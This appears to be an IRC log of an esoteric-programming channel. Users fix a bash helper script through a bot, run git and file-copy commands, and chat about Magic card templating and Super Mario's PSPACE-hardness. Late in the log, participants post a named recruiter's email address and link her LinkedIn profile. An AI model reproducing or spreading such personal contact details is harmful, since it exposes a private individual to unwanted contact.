07:37:26 <hppavilion[1]> http://www.qwantz.com/index.php?comic=2968&butiwouldratherbereading=somethingmorehistoricallyaccurate IS THE BEST THING EVER
07:37:37 <oerjan> `sled bin/sled//s/exit 1; sed/{ echo 'Rosebud!'; exit 1 }; sed/
07:37:41 <HackEgo> bin/sled//[[ "$1" == ?*//* ]] || { echo 'usage: sled file//script'; exit 1; }; key="${1%%//*}"; value="${1#*//}"; [[ -f "$key" ]] || { echo 'Rosebud!'; exit 1 }; sed -i "$value" "$key" && { echo -n "$key//"; cat "$key"; }
07:37:47 <oerjan> `sled fnord//hi
07:37:47 <hppavilion[1]> (Am I late to the party? Did everybody already know about this?)
07:37:48 <HackEgo> ​/hackenv/bin/sled: line 2: syntax error: unexpected end of file
07:37:54 <oerjan> GODDAMMIT
07:37:54 <hppavilion[1]> oerjan: Did you know about this?
07:38:07 <hppavilion[1]> (In other news, I just said "OMG". So... SEPPUKU)
07:38:08 <oerjan> hppavilion[1]: i am not even reading what you're saying.
07:38:16 <hppavilion[1]> oerjan: Do you read dinosaur comics?
07:38:23 <oerjan> hppavilion[1]: still not reading.
07:38:30 <hppavilion[1]> :,(
07:38:52 <hppavilion[1]> shachaf: Do /you/ read dinosaur comics?
07:39:02 <shachaf> I only read the good ones.
07:39:20 <hppavilion[1]> shachaf: Were you aware of butiwouldratherbereading?
07:39:28 <hppavilion[1]> shachaf: Because http://www.qwantz.com/index.php?comic=2968&butiwouldratherbereading=somethingmorehistoricallyaccurate is amazing
07:39:36 <shachaf> You already linked that.
07:39:50 <shachaf> oerjan: whoa whoa whoa, that's quite an oath
07:39:55 <oerjan> `revert
07:39:57 <HackEgo> rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done.
07:40:04 <oerjan> `cat bin/sled
07:40:06 <HackEgo> ​[[ "$1" == ?*//* ]] || { echo 'usage: sled file//script'; exit 1; }; key="${1%%//*}"; value="${1#*//}"; [[ -f "$key" ]] || exit 1; sed -i "$value" "$key" && { echo -n "$key//"; cat "$key"; }
07:40:09 <hppavilion[1]> shachaf: Yes
07:40:24 <hppavilion[1]> shachaf: Wait, how do you know which ones are good in advance?
07:40:51 <shachaf> oerjan: i can't believe you would use a big big D
07:41:24 <oerjan> i have no idea why this isn't working.
07:42:48 <shachaf> missing ; after the 1 hth
07:44:20 <oerjan> gah
07:44:30 <oerjan> `sled bin/sled//s/exit 1; sed/{ echo 'Rosebud!'; exit 1; }; sed/
07:44:36 <HackEgo> bin/sled//[[ "$1" == ?*//* ]] || { echo 'usage: sled file//script'; exit 1; }; key="${1%%//*}"; value="${1#*//}"; [[ -f "$key" ]] || { echo 'Rosebud!'; exit 1; }; sed -i "$value" "$key" && { echo -n "$key//"; cat "$key"; }
07:44:54 <oerjan> `sled fnord//plugh
07:44:55 <HackEgo> Rosebud!
07:45:07 <oerjan> thanks
07:45:08 <shachaf> Oh, I get it.
07:45:10 <shachaf> Sled.
07:45:17 <shachaf> That took a little too long.
07:46:10 <b_jonas> ais523: do you happen to know why the templating of Confound and Intervene differs?
07:46:13 <b_jonas> `card-by-name Confound
07:46:15 <HackEgo> Confound \ 1U \ Instant \ Counter target spell that targets one or more creatures. \ Draw a card. \ PS-C
07:46:17 <b_jonas> `card-by-name Intervene
07:46:18 <HackEgo> Intervene \ U \ Instant \ Counter target spell that targets a creature. \ UL-C
07:46:38 <ais523> b_jonas: no
07:46:40 <b_jonas> ais523: as far as I know, the first abilities function exactly the same, and there's no reason why they should be phrased differently
08:01:06 -!- AnotherTest has joined.
08:44:54 -!- oerjan has quit (Quit: Nite).
09:04:12 -!- AnotherTest has quit (Ping timeout: 246 seconds).
09:05:44 -!- xkapastel has quit (Quit: Connection closed for inactivity).
09:14:29 -!- ais523 has quit (Ping timeout: 260 seconds).
09:31:48 <hppavilion[1]> http://xkcdsw.com/3900
09:31:49 <hppavilion[1]> Oh god
09:31:52 <hppavilion[1]> The horror
09:37:22 -!- Koen_ has joined.
09:48:37 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
09:56:29 -!- augur has joined.
10:01:06 -!- augur has quit (Ping timeout: 258 seconds).
10:09:21 -!- gamemanj has joined.
10:14:07 <b_jonas> What's the current best way to report templating problems (indirectly) to the M:tG rules team then? The wizards forum worked for me once, but that forum is shut down now, so I'm not sure what to do .
10:15:04 <gamemanj> start new forums, let them get popular, then report them there?
10:15:13 <shachaf> b_jonas: I think you can send them mail.
10:15:16 <b_jonas> gamemanj: aww
10:15:33 <gamemanj> shachaf: I think the "indirectly" means it has to be publically visible
10:15:36 <b_jonas> shachaf: send who email? I don't think you could ever send email directly to wizards. Even on the forum, you didn't talk directly to wizards.
10:15:45 <shachaf> I meant physical mail, not email.
10:15:53 <b_jonas> shachaf: ah... that might work
10:15:56 <shachaf> At least I think I read an article where they talked about receiving mail.
10:16:29 <b_jonas> Wizards used to have some forms on their website, but I don't think they worked well. Or at least, the bug reports I sent about the Gatherer interface with that form never got into their public list of bugs about Gatherer.
10:16:45 <b_jonas> Let me try to find a snail mail address.
10:17:05 <b_jonas> shachaf: how old an article? this may have changed in the last few years.
10:17:15 <shachaf> I'm not even sure if I actually read it.
10:20:19 <b_jonas> alternately, I can try the "customer service" emails or phones they give
10:20:50 <b_jonas> and maybe I should also try to report the Gatherer issues that Gatherer still has
10:20:56 <shachaf> "We at Wizards of the Coast recognize that no matter how detailed the rules, situations will arise in which the interaction of specific cards requires a precise answer. If you have questions, you can get the answers from us at Wizards.com/CustomerService. Additional contact information is on the last page of these rules."
10:21:07 <shachaf> I think they're probably aware of some of the Gatherer issues.
10:21:20 <shachaf> Like how comments have been broken for 2 years or something, haven't they?
10:22:11 <b_jonas> shachaf: yes, but they used to have a list of bugs (for the old Gatherer), and also had a submission form for new bugs, but even after some time, the bug I reported through the form didn't get to the list or get fixed. that might hvae been something I did wrong though. mind you, the new gatherer fixed some of the old bugs (and introduced new bugs) so it's partly moot.
10:22:25 <shachaf> "However, if you have rules questions that aren't answered by the basic or comprehensive rules or the release notes, feel free to contact customer service."
10:22:28 <shachaf> http://wizards.custhelp.com/app/answers/detail/a_id/2339
10:23:10 <b_jonas> Gatherer used to have a lot of bugs about split and flip cards. I think they fixed those now, but now they have at least one bug about double-faced card.s
10:25:43 <gamemanj> ...I wonder how a card game could have bugs, but yet, the rules of a card game are a program the players follow.
10:26:05 <shachaf> Well, Magic: The Gathering isn't even decidable.
10:26:28 <gamemanj> That could make things difficult.
10:27:26 <b_jonas> gamemanj: I said _Gatherer_ had bugs. it's a software.
10:27:39 <b_jonas> but yes, the card game also has bugs
10:28:00 <gamemanj> Ah. (I have no idea what's what, so I'm just being very general about what I say)
10:28:28 <b_jonas> this templating inconsistency with Intervene I was talking about is a bug in the card game, although it's a very minor doc bug, not an important bug. there are bigger bugs that pop up occasionally.
10:29:17 <b_jonas> (I'm still annoyed by Hollow Dogs being a Zombie instead of a Skeleton, but that's not definitely a bug)
10:32:26 -!- Reece` has joined.
10:39:09 <gamemanj> hmm, how many nodes do I need to put in a graph before it annoys people who try to understand it?
10:40:40 <b_jonas> I'll probably try the customer service
10:44:14 <Taneb> gamemanj, 5
10:44:46 <gamemanj> Taneb: Ok, so a graph of the Audio Test it is - that only has 2 nodes.
10:45:52 <gamemanj> Also note that zzo38's program would be a better fit if it wasn't somehow able to change it's own jump value...
10:46:01 <gamemanj> ...on every instruction...
10:46:22 <gamemanj> or, at least, that's what the analyzer's saying
10:50:03 <gamemanj> Oh, it's the second segment generalization pass that's doing it... it runs the pass twice so that it won't have to recompile segments as much, but somehow zzo38's program is theoretically capable of self-modification. It's probably not, but it's convinced the analyzer.
10:50:27 -!- ais523 has joined.
10:53:32 -!- ais523 has quit (Client Quit).
10:53:49 -!- ais523 has joined.
10:53:58 -!- ais523 has quit (Changing host).
10:53:58 -!- ais523 has joined.
10:55:13 -!- Koen__ has joined.
10:57:36 -!- Koen_ has quit (Ping timeout: 246 seconds).
11:03:36 -!- gremlins has joined.
11:03:48 -!- gremlins has quit (Remote host closed the connection).
11:04:11 -!- gremlins has joined.
11:06:07 -!- Reece` has quit (Ping timeout: 260 seconds).
11:27:52 -!- ais523 has quit (Remote host closed the connection).
11:28:13 -!- ais523 has joined.
11:28:45 <gamemanj> If I can recognize the structure of my font renderer in a directed graph of control flow... am I crazy?
11:32:39 <int-e> gamemanj: I see no causal relationship between the two.
11:33:25 <ais523> that said you might be crazy for other reasons
11:33:35 * int-e absent-mindedly mapoles oerjan before he realizes that he's not even there.
11:34:12 <int-e> which is why I didn't just reply with a simple "no".
11:34:49 -!- boily has joined.
11:35:26 <int-e> gamemanj: I'll be more blunt: Be careful or the bytes will push you over the edge ;-)
11:35:46 <int-e> (hurray for weak puns)
11:36:01 <gamemanj> int-e: stare into the heart of the bytes https://dl.dropboxusercontent.com/u/21184720/project-i.svg
11:36:16 <gamemanj> (WARNING: Big file)
11:36:57 <int-e> gamemanj: you'll have to forgive me, I find that graph confusing :P
11:37:02 <gamemanj> I am also confused
11:37:27 <gamemanj> Like, I know what code it's from, but I don't have a symbol table
11:37:54 <int-e> why is there a red edge
11:38:05 <gamemanj> red means the virtual machine was interrupted
11:38:17 <int-e> and is graphviz really still the most usable graph renderer around?
11:38:30 <gamemanj> Well, it was a bit slow, but then again the input .dot was REALLY BIG
11:38:34 <gamemanj> (64k or so)
11:38:42 <gamemanj> And also .dot is simple
11:39:02 <gamemanj> Reminder: At some point this had to be generated
11:39:16 <int-e> and what are the labels on the edges?
11:39:35 <int-e> number of instructions?
11:39:37 <gamemanj> yes
11:40:05 <gamemanj> Basically this graph doesn't show every instruction, it instead condenses it into "segments"
11:40:16 <gamemanj> This is more or less an offshoot of a test to see how JITable BytePusher could be
11:40:44 <int-e> oh there's a 520 instructions edge... neat
11:40:49 <gamemanj> Each square or circle represents a segment. Not shown are the "alternate" versions of segments which are generated to handle parallel universes
11:41:00 <boily> @massages-loud
11:41:00 <lambdabot> shachaf said 4h 12m 17s ago: if only you were here to measure my funpun tdnh
11:41:15 <gamemanj> (If the compilation of the segment made assumptions which turned out to be wrong, a parallel version is made to handle the new condition)
11:41:25 <boily> @ask shachaf hellochaf. you punned?
11:41:26 <lambdabot> Consider it noted.
11:41:33 <int-e> for the record, the mapole is for <lambdabot> oerjan said 10h 42m 18s ago: lambdabot still lacks enabled extensions (like GeneralizedNewtypeDeriving) for enterprise exploit searching tdnh
11:41:36 <gamemanj> (All versions of all segments are cached, but they are not generated until needed)
11:42:06 <int-e> I think GND is still not considered to be SafeHaskell anyway.
11:43:03 <int-e> hmm, there's a rectangle...
11:43:16 <gamemanj> Rectangle means that there has been at least one initialization at that point
11:43:23 <int-e> (actually, a few of them)
11:43:37 <gamemanj> That is, the 2/3/4 address was set there on at least one frame
11:43:41 <gamemanj> Usually you will find that only red lines lead to these, but that may not always be the case
11:43:58 <int-e> so self-modifying code?
11:44:12 <gamemanj> No, just changing the per-frame address
11:44:19 <gamemanj> The self-modification is more or less obscured by this graph.
11:44:24 <int-e> okay
11:44:39 <gamemanj> Mind, the reason this graph is more than just 2 nodes is because it does self-modify jump addresses and such
11:44:42 <gamemanj> To actually perform calculations
11:44:53 <gamemanj> Things like the Audio Test are 2 nodes
11:44:53 <int-e> I don't know what per-frame address means, and I don't want to know right now :P
11:45:13 <gamemanj> Well, it's the same thing as the red lines, really
11:45:30 <gamemanj> As I said - VM interrupt
11:45:54 <gamemanj> If you don't find any red lines going to a rectangle,
11:45:54 <fizzie> "This train is experiencing difficulties, which are being dealt with." First time I've heard that one.
11:46:09 <gamemanj> that's probably the initialization node - the first code the VM executes.
11:47:37 <gamemanj> Aha. Initialization is at 47e.
11:47:55 <ais523> fizzie: is this train in the UK? or was that translated? it sounds strangely nonidiomatic
11:48:12 <gamemanj> From that, I can infer that fc2ef7 is the Internal Keyboard Test part of the system.
11:49:22 <fizzie> ais523: South West Trains, so UK.
11:49:39 <shachaf> https://twitter.com/suzytimms/status/615391949701423104
11:49:57 <ais523> very vague :-(
11:50:04 <gamemanj> int-e: For future reference, if an address ends in f4, it usually means "false", if it ends in f7, it usually means "true".
11:50:20 <ais523> I learned a ton about health and safety from reading train accident reports
11:50:20 <ais523> also learned quite a bit about how trains fail in the process
11:50:42 <ais523> (they fail pretty safe; there are reports where things went catastrophically wrong and still nobody was hurt)
11:50:44 <fizzie> It did continue: "Please listen for further announcements from [unintelligible]."
11:51:10 -!- Koen__ has quit (Quit: Leaving...).
11:51:13 <gamemanj> fizzie: Are you actually in this train?
11:51:25 <fizzie> I didn't notice any difficulties, and there were no further announcements, so possibly it was played back by mistake.
11:51:55 <fizzie> I was on that train a few minutes ago, now I'm in a different one already.
11:51:56 <shachaf> fizzie: see #trains hth
11:52:15 <fizzie> I keep forgetting about #trains.
11:52:18 <shachaf> boily: possibly hth
11:52:19 <ais523> there was this report that came out recently, and actually lead to the train company responsible being /banned/ from the railways, but nobody was hurt: https://www.gov.uk/raib-reports/dangerous-occurrence-at-wootton-bassett-junction-wiltshire
11:53:00 <ais523> (I suspect that the reason for the ban was related to the whole thing about intentionally disabling safety systems that would have prevented the accident)
11:56:26 <fizzie> "RAIB has identified one key learning point. This is that allowing safety critical systems such as AWS and TPWS to function without improper interference is vital to the safe operation of the railway."
11:56:33 <fizzie> Good thing to learn.
11:57:39 -!- augur has joined.
12:00:26 -!- ais523 has quit.
12:02:28 -!- augur has quit (Ping timeout: 244 seconds).
12:04:43 -!- Phantom_Hoover has joined.
12:19:18 <b_jonas> `learn bézout/Bézout's theorem says that if a system of polynomial equations over the complexes has as many variables as equations, then in the general case the number of solutions it has is equal to the product of one less than the degrees of the polynomials.
12:19:43 <HackEgo> ​/hackenv/bin/learn: line 4: wisdom/bézout/bézout': No such file or directory \ Learned 'bézout/bézout'': bézout/Bézout's theorem says that if a system of polynomial equations over the complexes has as many variables as equations, then in the general case the number of solutions it has is equal to the product of one less than the degrees of
12:19:51 <b_jonas> `slashlearn bézout/Bézout's theorem says that if a system of polynomial equations over the complexes has as many variables as equations, then in the general case the number of solutions it has is equal to the product of one less than the degrees of the polynomials.
12:20:03 <HackEgo> Learned «bézout»
12:20:17 <b_jonas> ``` cp -i wisdom/{bézout,bézout's}
12:20:20 <HackEgo> bash: -c: line 0: unexpected EOF while looking for matching `'' \ bash: -c: line 1: syntax error: unexpected end of file
12:20:30 <b_jonas> ``` cp -i "wisdom/{bézout,bézout's}"
12:20:32 <HackEgo> cp: missing destination file operand after `wisdom/{b\303\251zout,b\303\251zout\'s}' \ Try `cp --help' for more information.
12:20:42 <b_jonas> ``` cp -i wisdom/{bézout,bézout\'s}
12:20:49 <HackEgo> No output.
12:20:53 <b_jonas> ``` cp -i wisdom/{bézout,bezout}
12:20:58 <HackEgo> No output.
12:20:59 <b_jonas> ``` cp -i wisdom/{bézout,bezout\'s}
12:21:02 <b_jonas> ``` cp -i wisdom/{bézout,bezout\'s theorem}
12:21:05 <HackEgo> No output.
12:21:06 <HackEgo> cp: cannot stat `wisdom/{b\303\251zout,bezout\'s': No such file or directory
12:21:25 <b_jonas> ``` cp -vi wisdom/{bézout,bezout"'s theorem"}
12:21:30 <HackEgo> ​`wisdom/b\303\251zout' -> `wisdom/bezout\'s theorem'
12:21:33 <b_jonas> ``` cp -vi wisdom/{bézout,bézout"'s theorem"}
12:21:37 <HackEgo> ​`wisdom/b\303\251zout' -> `wisdom/b\303\251zout\'s theorem'
12:27:06 <boily> `wisdom
12:27:11 <HackEgo> itidus21//itidus21 just made some instant coffee, and did it again an instant later, and then again and again. where is all this coffee coming from? it has buried itidus21! where is itidus21?
12:27:28 <boily> @ask itidus21 where are you?
12:27:28 <lambdabot> Consider it noted.
12:27:35 -!- boily has quit (Quit: BALCONY CHICKEN).
12:32:43 <gamemanj> boily: probably under a lot of instant coffee
12:34:30 -!- ybden has joined.
12:45:07 -!- hppavilion[1] has joined.
12:49:34 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
13:06:47 -!- Elronnd\StD has quit (Quit: Let's jump!).
13:07:10 <int-e> hmm, any connection? ... boily has quit [Quit: BALCONY CHICKEN] Elronnd\StD has quit [Quit: Let's jump!]
13:11:41 -!- Elronnd has joined.
13:15:35 <gamemanj> ...jumping off of the Balcony is a bad idea before defeating <data removed>. After defeating <data removed>, it is still a bad idea, unless you wish to receive the "bad" ending...
13:18:04 <b_jonas> what if, instead of jumping off the Balcony, you drop that huge beam on him by shooting the supporting chains?
13:18:39 <gamemanj> ...I have no idea what we're talking about.
13:20:44 <int-e> "Madotsuki climbs the stairs, jumps off the side of the balcony and plummets downward, then everything becomes dark." ?!
13:21:24 <gamemanj> Oh. I thought we were talking about something entirely different.
13:21:51 <int-e> I guess there must be many games with balconies :P
13:22:00 <int-e> that's the first one google found for me
13:22:10 <gamemanj> Now, why someone would waste their time climbing up stairs only to jump off a balcony...
13:22:31 <gamemanj> They could just, you know, walk to the area under the balcony.
13:23:37 <int-e> since I've read about the game for all of 5 minutes I can tell you that you can't... because your room door is impassable (locked? apparently the heroine doesn't even bother trying the door, and just shakes her head)
13:44:33 <int-e> `? pk
13:44:55 <HackEgo> pk? ¯\(°​_o)/¯
13:47:01 -!- Sgeo has quit (Ping timeout: 240 seconds).
13:47:11 <quintopia> so super mario bros is PSPACE-complete, eh
13:47:52 <int-e> `learn PK is short for Phil Katz, an infamous player killer of the 1990s whose favorite method of attack was to deflate his enemies.
13:48:03 <HackEgo> Learned 'pk': PK is short for Phil Katz, an infamous player killer of the 1990s whose favorite method of attack was to deflate his enemies.
13:49:02 <int-e> super mario bros has crazy game mechanics... knocking monsters up through bricks?
13:50:23 <izabera> http://news.mit.edu/2016/mario-brothers-hard-complexity-class-pspace-0601 heh nice
13:50:56 <b_jonas> `? mario
13:50:59 <HackEgo> Mario is a classic NP-hard problem invented by Nintendo.
13:51:13 <b_jonas> ``` echo wisdom/*[mM]ario*
13:51:15 <HackEgo> wisdom/mario wisdom/supermarionation wisdom/supermarioperator
13:51:24 <gamemanj> oh, this'll be fun
13:51:29 <gamemanj> `? supermarionation
13:51:30 <HackEgo> supermarionation is another name for the mushroom kingdom.
13:51:46 <gamemanj> `? supermarioperator
13:51:47 <HackEgo> supermarioperator is one of many confusing operators as defined in Control.Plumbers.Monad. Your sanity is in another castle.
13:53:39 <gamemanj> Is there a class between "finite state machine" and "turing-complete" for things that would be turing-complete if their environment gave them access to an external infinite memory?
13:54:25 <b_jonas> izabera: I don't understand why that's somehow news today. is there a paper that proves something more than the original paper from 2009?
13:54:58 <b_jonas> I mean, wasn't it already turing complete back then? or am I confusing mario games or something?
13:55:05 <b_jonas> um
13:55:07 <b_jonas> not turing complete
13:55:09 <b_jonas> pspace complete
13:55:10 <b_jonas> duh
13:55:14 <b_jonas> `? pspace
13:55:15 <HackEgo> pspace? ¯\(°​_o)/¯
13:55:36 <int-e> gamemanj: that seems a bit pointless; after all, Turing machines are finite automata with access to an infinite memory
13:57:01 <b_jonas> hmm, maybe the original super mario paper is form 2012
13:57:09 <gamemanj> int-e: Hmm, I suppose.
13:57:28 <int-e> b_jonas: http://erikdemaine.org/papers/Mario_FUN2016/paper.pdf
13:57:33 <b_jonas> http://arxiv.org/abs/1203.1895 by Greg Aloupis, Erik D. Demaine, Alan Guo, Giovanni Viglietta is I think the famous paper, althoguh the research does go back by years
13:57:45 <gamemanj> It's just that how finite the finite state machine is defines if it could implement something.
13:57:57 <b_jonas> do we have wisdom entries about this? I thoguht `? mario or something would tell
13:58:02 <b_jonas> `? super mario
13:58:05 <HackEgo> super mario? ¯\(°​_o)/¯
13:58:20 <b_jonas> int-e: thanks
13:59:18 <b_jonas> wait... what
13:59:35 <b_jonas> int-e: ok, that's REALLY interesting
13:59:44 <b_jonas> int-e: thanks for nudging, I'll have to look at that article in detail
13:59:58 <b_jonas> later, that is
14:00:50 <int-e> essentially they have a new door device that looks embarassingly simple, but is based on a game mechanic that I didn't expect.
14:00:55 <int-e> (I've never played those games)
14:01:26 <b_jonas> int-e: it doesn't matter much, the original result is quite general and applies to lots of games, so I expect this one would as well
14:01:35 <b_jonas> a specific game or two doesn't matter
14:01:52 <b_jonas> you've probably played at least one 2d scroller game where it applies
14:02:00 <b_jonas> where some of the results apply that is
14:10:35 <int-e> There isn't much new from the general framework perspective, I think; they just instantiate their existing PSPACE framework.
14:12:36 <int-e> well, there's an interesting idea of exploiting timers for NP-hardness proofs.
14:13:49 -!- Akaibu has joined.
14:17:11 <b_jonas> int-e: ok, I will still read later
14:23:44 -!- gremlins has quit (Quit: Alsithyafturttararfunar).
14:44:03 -!- AnotherTest has joined.
14:51:24 -!- AnotherTest has quit (Ping timeout: 272 seconds).
14:53:43 -!- `^_^v has joined.
15:10:45 -!- Kaynato has joined.
15:22:10 -!- spiette has joined.
15:24:09 -!- hwpplayer1 has joined.
15:24:14 -!- hwpplayer1 has left.
15:32:12 <b_jonas> Git question. How do I list all tags together with the commits they point to? (git branch -l -a -v) lists all branches together with the commit id they point to (plus two other columns that are irrelevant here), but (git tag -l) which lists tags doesn't have the relevant fields. Do I have to invoke (git rev-parse) for each tag or something?
15:39:58 <int-e> git tag --format '%(refname:short) %(objectname)'
15:40:27 <int-e> (hmm, better swap those two fields to get a readable output)
15:46:37 -!- lambda-11235 has joined.
15:49:51 <b_jonas> int-e: thanks
15:50:40 <b_jonas> and apparently --format is an argument that doesn't work for the (git branch) command, so I can't just do almost the same thing for tags and branches
15:50:43 <b_jonas> but no matter
15:50:49 <b_jonas> this will help, I'll add it to my script
15:53:49 <int-e> git for-each-ref --format '%(objectname) %(refname)' refs/heads refs/tags
15:54:17 <int-e> (there's a reference to git-for-each-ref in the documentation for git-tag's --format flag)
15:56:22 <int-e> it's just getting more low-level that way... but you can treat tags and branches and remote branches in a fairly uniform way
16:10:17 <b_jonas> int-e: ah, thanks
16:10:54 <b_jonas> I'm already treating remote branches too (well, fetched snapshots of remote branhces), because git branch -a does that
16:14:07 <b_jonas> but it's good to know about for-each-ref , I'll use that next time I want this
16:19:45 <quintopia> `learn Mario is a classic PSPACE-complete problem invented by Nintendo.
16:20:15 <HackEgo> Relearned 'mario': Mario is a classic PSPACE-complete problem invented by Nintendo.
16:20:15 -!- spiette has quit (Ping timeout: 264 seconds).
16:58:22 -!- izabera has quit (Ping timeout: 244 seconds).
17:08:39 -!- augur has joined.
17:10:02 -!- augur has quit (Remote host closed the connection).
17:10:26 -!- izabera1 has joined.
17:11:33 <HackEgo> [wiki] [[A programming language is a formal constructed language designed to communicate instructions to a machine, particularly a computer.]] https://esolangs.org/w/index.php?diff=47097&oldid=46134 * M654 * (+86)
17:16:11 -!- ybden_ has joined.
17:18:27 -!- spiette has joined.
17:18:54 -!- ybden_ has quit (Client Quit).
17:19:06 -!- ybden_ has joined.
17:19:56 -!- izabera1 has changed nick to izabera.
17:26:43 -!- ybden_ has quit (Quit: ZNC - http://znc.in).
17:26:53 -!- ybden_ has joined.
17:28:21 -!- ybden_ has quit (Client Quit).
17:28:37 -!- ybden_ has joined.
18:40:23 -!- ybden_ has quit (Quit: ZNC - http://znc.in).
18:40:35 -!- ybden_ has joined.
18:41:31 -!- ybden has quit (Quit: leaving).
18:42:29 -!- ybden_ has changed nick to ybden.
18:47:29 -!- ybden has quit (Quit: ZNC - http://znc.in).
18:47:39 -!- ybden has joined.
18:50:10 -!- xkapastel has joined.
19:09:56 -!- idris-bot has quit (Quit: Terminated).
19:10:12 -!- Melvar has quit (Quit: thunderstorms).
19:33:00 <zgrep> Does it /have/ to be formal?
19:45:19 <int-e> tricky question
19:46:31 <int-e> I'm inclined to say yes, with the justification that any implementation of the programming language can serve as a formal specification... but you can take a more strict view on what "formal" means...
19:46:32 -!- Vorpal has quit (Ping timeout: 272 seconds).
19:47:54 <int-e> and there's a large grey area anyway... if you tell Siri to add two and three, and multiply the result by five... and assuming it does so... does that constitute an act of programming?
19:48:58 <int-e> why doesn't the google assistant have a name
19:49:05 -!- Melvar has joined.
19:49:16 <\oren\> google now?
19:49:40 <int-e> even microsoft gave their Siri a name... Cortana.
19:49:57 <int-e> but Google calls theirs "Assistant".
19:50:17 <int-e> (as far as I can see, please tell me if I'm wrong)
19:50:39 -!- Vorpal has joined.
19:50:57 <\oren\> hmm i shpuod probably know more about those than i do
19:51:17 <\oren\> theyre our competitors after all
19:52:16 <\oren\> its officially called the google now app
19:54:19 <int-e> "Hey, now, what's the time?" ... mmm, no that doesn't sound right.
19:54:21 <int-e> :-P
19:56:35 -!- idris-bot has joined.
19:58:04 <\oren\> with most of tjese you can customize the actovation phrase
20:00:20 <int-e> hmm, another memory lapse... I read some scifi story where the hero (who is with the military), together with some hundred other people, gets an assistant implanted... and he decides to call it "asshole"... and gets warned that this is a very popular choice.
20:01:16 <\oren\> this will be important when you have a voice activated car and phone. "hey Civic" to talk to your car. "hey galaxy" to talk to your phone
20:01:53 <\oren\> the defaults are important for product branding
20:02:07 -!- nycs has joined.
20:02:31 <zgrep> Okay Google?
20:04:41 -!- `^_^v has quit (Ping timeout: 240 seconds).
20:06:09 <\oren\> argh speaking of google some sort of recruiter from them called me just now.
20:07:01 <\oren\> what a pain
20:07:08 <gamemanj> On the one hand, you could say "what, they just... called you???"... on the other hand, what's the chance it's really a google recruiter?
20:07:56 <\oren\> well the same person had emailed me and is pestering me on linkedin
20:08:01 <gamemanj> I theorize that it is actually Vermicious Knid.
20:08:12 <gamemanj> *actually a Vermicious Knid.
20:08:17 <shachaf> Did the recruiter tell you to scram?
20:08:21 <int-e> are you at work where you can forward them to the legal department :P
20:09:24 <\oren\> screw it the email is
20:09:43 <\oren\> gzarnegar@google.com
20:09:56 <int-e> sounds legitimate
20:09:57 <gamemanj> ...did you double check the authenticity of the sender?
20:10:01 <gamemanj> Check the email headers
20:10:08 <gamemanj> Received-From, etc.
20:10:34 <shachaf> Why are you expecting the email to be illegitimate?
20:11:05 <gamemanj> shachaf: Not expecting, but it's a possibility that should be kept in mind
20:11:33 <\oren\> it looks legit. seems sleazy for them to be nagging a competirors employees
20:11:44 <shachaf> Why is that sleazy?
20:11:50 <shachaf> Sleazy would be the opposite.
20:11:59 <shachaf> In fact they got sued for it.
20:12:20 <shachaf> Anyway, that's a legitimate @google.com email address, it's easy to look it up.
20:12:55 <shachaf> So you can just send email to it.
20:13:56 <\oren\> i just dumped her over the phone
20:14:12 <gamemanj> ...That phrasing has fun implications.
20:14:38 <int-e> good idea, I don't like phones either?
20:14:55 <pikhq> https://www.linkedin.com/in/gabbyzarnegar appears to be the person in question
20:15:03 <\oren\> yup
20:15:16 <shachaf> You work at SoundHound, don't you?
20:15:20 <\oren\> yup
20:15:20 <shachaf> Is that even a competitor?
20:15:54 <\oren\> yes. i work on our voice assisyant, Hound
20:16:09 <fizzie> And Google does have a sound search feature as well.
20:16:15 <fizzie> Though I'd guess most people don't even know it exists.
20:16:26 <shachaf> Google's search feature is pretty sound.
20:16:30 <\oren\> and the Houndify platform
20:16:47 <fizzie> A (sound search) feature, not a sound (search feature).
20:17:00 <shachaf> So it searches soundly?
20:17:22 <shachaf> Or are you talking about Google Maps?
20:17:29 <shachaf> I guess it can search bays too.
20:17:36 <gamemanj> ...
20:18:04 <shachaf> oh man
20:18:09 <shachaf> "I have experience using both the Waterfall methodology and Agile/XP methodologies"
20:18:16 <shachaf> so many methodologies
20:18:32 <\oren\> unfortunayely yes
20:18:57 <gamemanj> did someone post oren's job history into a side-channel or something?
20:19:07 <shachaf> Is there anyone who says that they "use Waterfall"?
20:19:12 <shachaf> I thought it was mostly a straw man.
20:19:23 <\oren\> nah hes probably reading my linkedin
20:19:37 -!- hppavilion[1] has joined.
20:19:55 <int-e> straw men should easily keep afloat ...
20:20:09 <shachaf> Now I'm reading https://www.quora.com/How-can-the-sequence-3-7-15-31-63-etc-be-continued/answer/Oren-Watson
20:20:21 <shachaf> But I think you got that one wrong.
20:20:37 <shachaf> http://slbkbs.org/math-diff-2-4.txt explains the correct method.
20:20:46 <int-e> 127. 126. 42.
20:22:27 <fizzie> Puget Sound is the only sound I know of.
20:24:19 <int-e> > let ex [x] = repeat x; ex xs = scanl (+) (head xs) (ex (zipWith (-) (tail xs) xs)) in ex [0,1,3,7,15,31,63]
20:24:21 <lambdabot> [0,1,3,7,15,31,63,126,246,465,847,1485,2509,4095,6475,9948,14892,21777,31179...
20:24:23 <shachaf> fizzie: That's a sound sound, though.
20:25:26 <shachaf> int-e: I think I'd continue it as 3, 7, 15, 31, 17, 17, 17, 17, 17, 17, ...
20:25:32 <int-e> ("ex" stands for "extrapolate", of course)
20:26:25 <int-e> shachaf: hmm, 17 would come after 42 for me, in the list of most plausible answers
20:26:45 <shachaf> int-e: Well, did you read the link I posted?
20:28:06 <int-e> shachaf: not in full detail. but according to that link you should continue with 19 :-P
20:29:35 <hppavilion[1]> Are there any shell-based twitter clients?
20:29:52 <int-e> . o O ( curl )
20:30:40 <int-e> I'd also bet that the answer is yes.
20:30:48 <int-e> I just don't know any.
20:31:17 <int-e> and I'm too lazy to construct a lmgtfy link.
20:32:14 <int-e> `? int-e
20:32:39 -!- Nithogg_ has quit (Ping timeout: 246 seconds).
20:32:39 <HackEgo> int-e är inte svensk. Hen kommer att spränga solen. Hen står för sig själv.
20:32:45 <int-e> ... it should probably say something about being obnoxious there.
20:34:08 <gamemanj> int-e attempts to use certain spräk deriviations to confuse gamemanj.
20:34:18 <gamemanj> int-e succeeds in this.
20:34:19 -!- Nithogg_ has joined.
20:34:27 <int-e> `culprits int-e
20:34:36 <int-e> `culprits wisdom/int-e
20:34:40 <HackEgo> No output.
20:34:49 <HackEgo> oerjan boily boily oerjan oerjan
20:34:53 <int-e> (though the former question is also valid... but hackego isn't the authority on that matter)
